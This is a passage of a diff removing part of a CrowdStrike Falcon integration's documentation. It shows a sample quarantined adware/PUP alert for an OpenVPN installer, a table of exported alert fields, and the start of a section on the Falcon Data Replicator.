dc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-        "severity": 21,
-        "type": [
-            "start"
-        ]
-    },
-    "file": {
-        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-    },
-    "host": {
-        "domain": "ABC.LOCAL",
-        "hostname": "ABC709-1175",
-        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-        "ip": [
-            "81.2.69.142"
-        ],
-        "mac": [
-            "AB-21-48-61-05-B2"
-        ],
-        "os": {
-            "full": "Windows11",
-            "platform": "Windows",
-            "type": "windows"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-    "process": {
-        "end": "2023-11-03T18:00:21.000Z",
-        "entity_id": "399748687993",
-        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "hash": {
-            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "sha1": "0000000000000000000000000000000000000000",
-            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-        },
-        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "parent": {
-            "command_line": "C:\\WINDOWS\\Explorer.EXE",
-            "entity_id": "392736520876",
-            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-            "hash": {
-                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-            },
-            "name": "explorer.exe",
-            "pid": 392736520876
-        },
-        "pid": 399748687993,
-        "start": "2023-11-03T18:00:13.000Z",
-        "user": {
-            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "name": "mohit.jha"
-        }
-    },
-    "related": {
-        "hash": [
-            "b07f77fd3f9828b2c9d61f8a36609741",
-            "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-            "8cc3fcdd7d52d2d5221303c213e044ae",
-            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-            "0000000000000000000000000000000000000000"
-        ],
-        "hosts": [
-            "ABC.LOCAL",
-            "ABC709-1175"
-        ],
-        "ip": [
-            "81.2.69.142"
-        ],
-        "user": [
-            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "yuvraj.mahajan",
-            "mohit.jha"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-alert"
-    ],
-    "threat": {
-        "framework": "CrowdStrike Falcon Detections Framework",
-        "tactic": {
-            "id": [
-                "CSTA0004"
-            ],
-            "name": [
-                "MachineLearning"
-            ]
-        },
-        "technique": {
-            "id": [
-                "CST0000"
-            ],
-            "name": [
-                "Adware/PUP"
-            ]
-        }
-    },
-    "user": {
-        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-        "name": "mohit.jha"
-    }
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| crowdstrike.alert.active_directory_authentication_method |  | long |
-| crowdstrike.alert.activity.browser |  | keyword |
-| crowdstrike.alert.activity.device |  | keyword |
-| crowdstrike.alert.activity.id |  | keyword |
-| crowdstrike.alert.activity.os |  | keyword |
-| crowdstrike.alert.agent_id |  | keyword |
-| crowdstrike.alert.agent_scan_id |  | keyword |
-| crowdstrike.alert.aggregate_id |  | keyword |
-| crowdstrike.alert.alert_attributes |  | long |
-| crowdstrike.alert.alleged_filetype |  | keyword |
-| crowdstrike.alert.assigned_to.name |  | keyword |
-| crowdstrike.alert.assigned_to.uid |  | keyword |
-| crowdstrike.alert.assigned_to.uuid |  | keyword |
-| crowdstrike.alert.associated_files.filepath |  | keyword |
-| crowdstrike.alert.associated_files.sha256 |  | keyword |
-| crowdstrike.alert.child_process_ids |  | keyword |
-| crowdstrike.alert.cid |  | keyword |
-| crowdstrike.alert.cloud_indicator |  | boolean |
-| crowdstrike.alert.cmdline |  | keyword |
-| crowdstrike.alert.command_line |  | keyword |
-| crowdstrike.alert.comment |  | keyword |
-| crowdstrike.alert.composite_id |  | keyword |
-| crowdstrike.alert.confidence |  | long |
-| crowdstrike.alert.context_timestamp |  | date |
-| crowdstrike.alert.control_graph_id |  | keyword |
-| crowdstrike.alert.crawl_edge_ids.Sensor |  | keyword |
-| crowdstrike.alert.crawl_vertex_ids.Sensor |  | keyword |
-| crowdstrike.alert.crawled_timestamp |  | date |
-| crowdstrike.alert.created_timestamp |  | date |
-| crowdstrike.alert.data_domains |  | keyword |
-| crowdstrike.alert.description |  | keyword |
-| crowdstrike.alert.detect_type |  | keyword |
-| crowdstrike.alert.device.agent_load_flags |  | long |
-| crowdstrike.alert.device.agent_local_time |  | date |
-| crowdstrike.alert.device.agent_version |  | keyword |
-| crowdstrike.alert.device.bios_manufacturer |  | keyword |
-| crowdstrike.alert.device.bios_version |  | keyword |
-| crowdstrike.alert.device.cid |  | keyword |
-| crowdstrike.alert.device.config_id_base |  | keyword |
-| crowdstrike.alert.device.config_id_build |  | keyword |
-| crowdstrike.alert.device.config_id_platform |  | long |
-| crowdstrike.alert.device.external_ip |  | ip |
-| crowdstrike.alert.device.first_seen |  | date |
-| crowdstrike.alert.device.groups |  | keyword |
-| crowdstrike.alert.device.hostinfo.active_directory_dn_display |  | keyword |
-| crowdstrike.alert.device.hostinfo.domain |  | keyword |
-| crowdstrike.alert.device.hostname |  | keyword |
-| crowdstrike.alert.device.id |  | keyword |
-| crowdstrike.alert.device.last_seen |  | date |
-| crowdstrike.alert.device.local_ip |  | ip |
-| crowdstrike.alert.device.mac_address |  | keyword |
-| crowdstrike.alert.device.machine_domain |  | keyword |
-| crowdstrike.alert.device.major_version |  | keyword |
-| crowdstrike.alert.device.minor_version |  | keyword |
-| crowdstrike.alert.device.modified_timestamp |  | date |
-| crowdstrike.alert.device.os_version |  | keyword |
-| crowdstrike.alert.device.ou |  | keyword |
-| crowdstrike.alert.device.platform_id |  | keyword |
-| crowdstrike.alert.device.platform_name |  | keyword |
-| crowdstrike.alert.device.pod_labels |  | keyword |
-| crowdstrike.alert.device.product_type |  | keyword |
-| crowdstrike.alert.device.product_type_desc |  | keyword |
-| crowdstrike.alert.device.site_name |  | keyword |
-| crowdstrike.alert.device.status |  | keyword |
-| crowdstrike.alert.device.system_manufacturer |  | keyword |
-| crowdstrike.alert.device.system_product_name |  | keyword |
-| crowdstrike.alert.device.tags |  | keyword |
-| crowdstrike.alert.display_name |  | keyword |
-| crowdstrike.alert.documents_accessed.filename |  | keyword |
-| crowdstrike.alert.documents_accessed.filepath |  | keyword |
-| crowdstrike.alert.documents_accessed.timestamp |  | date |
-| crowdstrike.alert.email_sent |  | boolean |
-| crowdstrike.alert.end_time |  | date |
-| crowdstrike.alert.event_id |  | keyword |
-| crowdstrike.alert.executables_written.filename |  | keyword |
-| crowdstrike.alert.executables_written.filepath |  | keyword |
-| crowdstrike.alert.executables_written.timestamp |  | date |
-| crowdstrike.alert.falcon_host_link |  | keyword |
-| crowdstrike.alert.file_writes.name |  | keyword |
-| crowdstrike.alert.file_writes.sha256 |  | keyword |
-| crowdstrike.alert.filename |  | keyword |
-| crowdstrike.alert.filepath |  | keyword |
-| crowdstrike.alert.files_accessed.filename |  | keyword |
-| crowdstrike.alert.files_accessed.filepath |  | keyword |
-| crowdstrike.alert.files_accessed.timestamp |  | date |
-| crowdstrike.alert.files_written.filename |  | keyword |
-| crowdstrike.alert.files_written.filepath |  | keyword |
-| crowdstrike.alert.files_written.timestamp |  | date |
-| crowdstrike.alert.global_prevalence |  | keyword |
-| crowdstrike.alert.grandparent_details.cmdline |  | keyword |
-| crowdstrike.alert.grandparent_details.filename |  | keyword |
-| crowdstrike.alert.grandparent_details.filepath |  | keyword |
-| crowdstrike.alert.grandparent_details.local_process_id |  | keyword |
-| crowdstrike.alert.grandparent_details.md5 |  | keyword |
-| crowdstrike.alert.grandparent_details.process_graph_id |  | keyword |
-| crowdstrike.alert.grandparent_details.process_id |  | keyword |
-| crowdstrike.alert.grandparent_details.sha256 |  | keyword |
-| crowdstrike.alert.grandparent_details.timestamp |  | date |
-| crowdstrike.alert.grandparent_details.user_graph_id |  | keyword |
-| crowdstrike.alert.grandparent_details.user_id |  | keyword |
-| crowdstrike.alert.grandparent_details.user_name |  | keyword |
-| crowdstrike.alert.has_script_or_module_ioc |  | boolean |
-| crowdstrike.alert.host_name |  | keyword |
-| crowdstrike.alert.host_type |  | keyword |
-| crowdstrike.alert.id |  | keyword |
-| crowdstrike.alert.idp_policy.enforced_externally |  | long |
-| crowdstrike.alert.idp_policy.mfa_factor_type |  | long |
-| crowdstrike.alert.idp_policy.mfa_provider |  | long |
-| crowdstrike.alert.idp_policy.rule_action |  | long |
-| crowdstrike.alert.idp_policy.rule_id |  | keyword |
-| crowdstrike.alert.idp_policy.rule_name |  | keyword |
-| crowdstrike.alert.idp_policy.rule_trigger |  | long |
-| crowdstrike.alert.image_file_name |  | keyword |
-| crowdstrike.alert.incident.created |  | date |
-| crowdstrike.alert.incident.end |  | date |
-| crowdstrike.alert.incident.id |  | keyword |
-| crowdstrike.alert.incident.score |  | double |
-| crowdstrike.alert.incident.start |  | date |
-| crowdstrike.alert.indicator_id |  | keyword |
-| crowdstrike.alert.ioc_context.cmdline |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_description |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_source |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_type |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_value |  | keyword |
-| crowdstrike.alert.ioc_context.md5 |  | keyword |
-| crowdstrike.alert.ioc_context.sha256 |  | keyword |
-| crowdstrike.alert.ioc_context.type |  | keyword |
-| crowdstrike.alert.ioc_description |  | keyword |
-| crowdstrike.alert.ioc_source |  | keyword |
-| crowdstrike.alert.ioc_type |  | keyword |
-| crowdstrike.alert.ioc_value |  | keyword |
-| crowdstrike.alert.ioc_values |  | keyword |
-| crowdstrike.alert.is_synthetic_quarantine_disposition |  | boolean |
-| crowdstrike.alert.ldap_search_query_attack |  | long |
-| crowdstrike.alert.local_prevalence |  | keyword |
-| crowdstrike.alert.local_process_id |  | keyword |
-| crowdstrike.alert.location_country_code |  | keyword |
-| crowdstrike.alert.location_latitude_as_int |  | long |
-| crowdstrike.alert.location_longitude_as_int |  | long |
-| crowdstrike.alert.logon_domain |  | keyword |
-| crowdstrike.alert.md5 |  | keyword |
-| crowdstrike.alert.model_anomaly_indicators |  | keyword |
-| crowdstrike.alert.name |  | keyword |
-| crowdstrike.alert.network_accesses.access_timestamp |  | date |
-| crowdstrike.alert.network_accesses.access_type |  | long |
-| crowdstrike.alert.network_accesses.connection_direction |  | keyword |
-| crowdstrike.alert.network_accesses.isIPV6 |  | boolean |
-| crowdstrike.alert.network_accesses.local_address |  | ip |
-| crowdstrike.alert.network_accesses.local_port |  | long |
-| crowdstrike.alert.network_accesses.protocol |  | keyword |
-| crowdstrike.alert.network_accesses.remote_address |  | ip |
-| crowdstrike.alert.network_accesses.remote_port |  | long |
-| crowdstrike.alert.objective |  | keyword |
-| crowdstrike.alert.operating_system |  | keyword |
-| crowdstrike.alert.os_name |  | keyword |
-| crowdstrike.alert.overwatch_note |  | keyword |
-| crowdstrike.alert.overwatch_note_timestamp |  | date |
-| crowdstrike.alert.parent_details.cmdline |  | keyword |
-| crowdstrike.alert.parent_details.filename |  | keyword |
-| crowdstrike.alert.parent_details.filepath |  | keyword |
-| crowdstrike.alert.parent_details.local_process_id |  | keyword |
-| crowdstrike.alert.parent_details.md5 |  | keyword |
-| crowdstrike.alert.parent_details.process_graph_id |  | keyword |
-| crowdstrike.alert.parent_details.process_id |  | keyword |
-| crowdstrike.alert.parent_details.sha256 |  | keyword |
-| crowdstrike.alert.parent_details.timestamp |  | date |
-| crowdstrike.alert.parent_details.user_graph_id |  | keyword |
-| crowdstrike.alert.parent_details.user_id |  | keyword |
-| crowdstrike.alert.parent_details.user_name |  | keyword |
-| crowdstrike.alert.parent_process_id |  | keyword |
-| crowdstrike.alert.pattern_disposition |  | long |
-| crowdstrike.alert.pattern_disposition_description |  | keyword |
-| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.containment_file_system |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.critical_process_disabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.detect |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.inddet_mask |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.indicator |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_action_failed |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_parent |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_process |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_subprocess |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.mfa_required |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.operation_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.policy_disabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.process_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.quarantine_file |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.quarantine_machine |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.response_action_already_applied |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.response_action_failed |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.response_action_triggered |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.rooting |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.sensor_only |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.suspend_parent |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.suspend_process |  | boolean |
-| crowdstrike.alert.pattern_id |  | keyword |
-| crowdstrike.alert.platform |  | keyword |
-| crowdstrike.alert.poly_id |  | keyword |
-| crowdstrike.alert.prevented |  | boolean |
-| crowdstrike.alert.process_end_time |  | date |
-| crowdstrike.alert.process_id |  | keyword |
-| crowdstrike.alert.process_start_time |  | date |
-| crowdstrike.alert.product |  | keyword |
-| crowdstrike.alert.protocol_anomaly_classification |  | long |
-| crowdstrike.alert.quarantined |  | boolean |
-| crowdstrike.alert.quarantined_files.filename |  | keyword |
-| crowdstrike.alert.quarantined_files.id |  | keyword |
-| crowdstrike.alert.quarantined_files.sha256 |  | keyword |
-| crowdstrike.alert.quarantined_files.state |  | keyword |
-| crowdstrike.alert.rule_group_id |  | keyword |
-| crowdstrike.alert.rule_group_name |  | keyword |
-| crowdstrike.alert.rule_instance_created_by |  | keyword |
-| crowdstrike.alert.rule_instance_id |  | keyword |
-| crowdstrike.alert.rule_instance_name |  | keyword |
-| crowdstrike.alert.rule_instance_version |  | keyword |
-| crowdstrike.alert.scan_id |  | keyword |
-| crowdstrike.alert.scenario |  | keyword |
-| crowdstrike.alert.seconds_to_resolved |  | long |
-| crowdstrike.alert.seconds_to_triaged |  | long |
-| crowdstrike.alert.severity |  | long |
-| crowdstrike.alert.severity_name |  | keyword |
-| crowdstrike.alert.sha1 |  | keyword |
-| crowdstrike.alert.sha256 |  | keyword |
-| crowdstrike.alert.show_in_ui |  | boolean |
-| crowdstrike.alert.source.account_azure_id |  | keyword |
-| crowdstrike.alert.source.account_domain |  | keyword |
-| crowdstrike.alert.source.account_name |  | keyword |
-| crowdstrike.alert.source.account_object_guid |  | keyword |
-| crowdstrike.alert.source.account_object_sid |  | keyword |
-| crowdstrike.alert.source.account_sam_account_name |  | keyword |
-| crowdstrike.alert.source.account_upn |  | keyword |
-| crowdstrike.alert.source.endpoint_account_object_guid |  | keyword |
-| crowdstrike.alert.source.endpoint_account_object_sid |  | keyword |
-| crowdstrike.alert.source.endpoint_address_ip4 |  | ip |
-| crowdstrike.alert.source.endpoint_host_name |  | keyword |
-| crowdstrike.alert.source.endpoint_ip_address |  | ip |
-| crowdstrike.alert.source.endpoint_ip_reputation |  | long |
-| crowdstrike.alert.source.endpoint_sensor_id |  | keyword |
-| crowdstrike.alert.source.ip_isp_classification |  | long |
-| crowdstrike.alert.source.ip_isp_domain |  | keyword |
-| crowdstrike.alert.source_products |  | keyword |
-| crowdstrike.alert.source_vendors |  | keyword |
-| crowdstrike.alert.start_time |  | date |
-| crowdstrike.alert.status |  | keyword |
-| crowdstrike.alert.tactic |  | keyword |
-| crowdstrike.alert.tactic_id |  | keyword |
-| crowdstrike.alert.tags |  | keyword |
-| crowdstrike.alert.target.account_name |  | keyword |
-| crowdstrike.alert.target.domain_controller_host_name |  | keyword |
-| crowdstrike.alert.target.domain_controller_object_guid |  | keyword |
-| crowdstrike.alert.target.domain_controller_object_sid |  | keyword |
-| crowdstrike.alert.target.endpoint_account_object_guid |  | keyword |
-| crowdstrike.alert.target.endpoint_account_object_sid |  | keyword |
-| crowdstrike.alert.target.endpoint_host_name |  | keyword |
-| crowdstrike.alert.target.endpoint_sensor_id |  | keyword |
-| crowdstrike.alert.target.service_access_identifier |  | keyword |
-| crowdstrike.alert.technique |  | keyword |
-| crowdstrike.alert.technique_id |  | keyword |
-| crowdstrike.alert.template_instance_id |  | keyword |
-| crowdstrike.alert.timestamp |  | date |
-| crowdstrike.alert.tree_id |  | keyword |
-| crowdstrike.alert.tree_root |  | keyword |
-| crowdstrike.alert.triggering_process_graph_id |  | keyword |
-| crowdstrike.alert.type |  | keyword |
-| crowdstrike.alert.updated_timestamp |  | date |
-| crowdstrike.alert.user_id |  | keyword |
-| crowdstrike.alert.user_name |  | keyword |
-| crowdstrike.alert.user_principal |  | keyword |
-| crowdstrike.alert.worker_node_name |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| event.dataset | Event dataset. | constant_keyword |
-| event.module | Event module. | constant_keyword |
-| input.type | Type of filebeat input. | keyword |
-| log.offset | Log offset. | long |
-| tags | List of keywords used to tag each event. | keyword |
-| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
-| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
-| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
-
-
-### FDR
-
-The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
-managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3.
-
-This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed
-SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket
-and the integration can read from there.
-
-In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic
-Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time.
-
-#### Use with CrowdStrike managed S3/SQS
-
-This is the simplest way to setup the integration, and also the default.
-
-You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR.
-
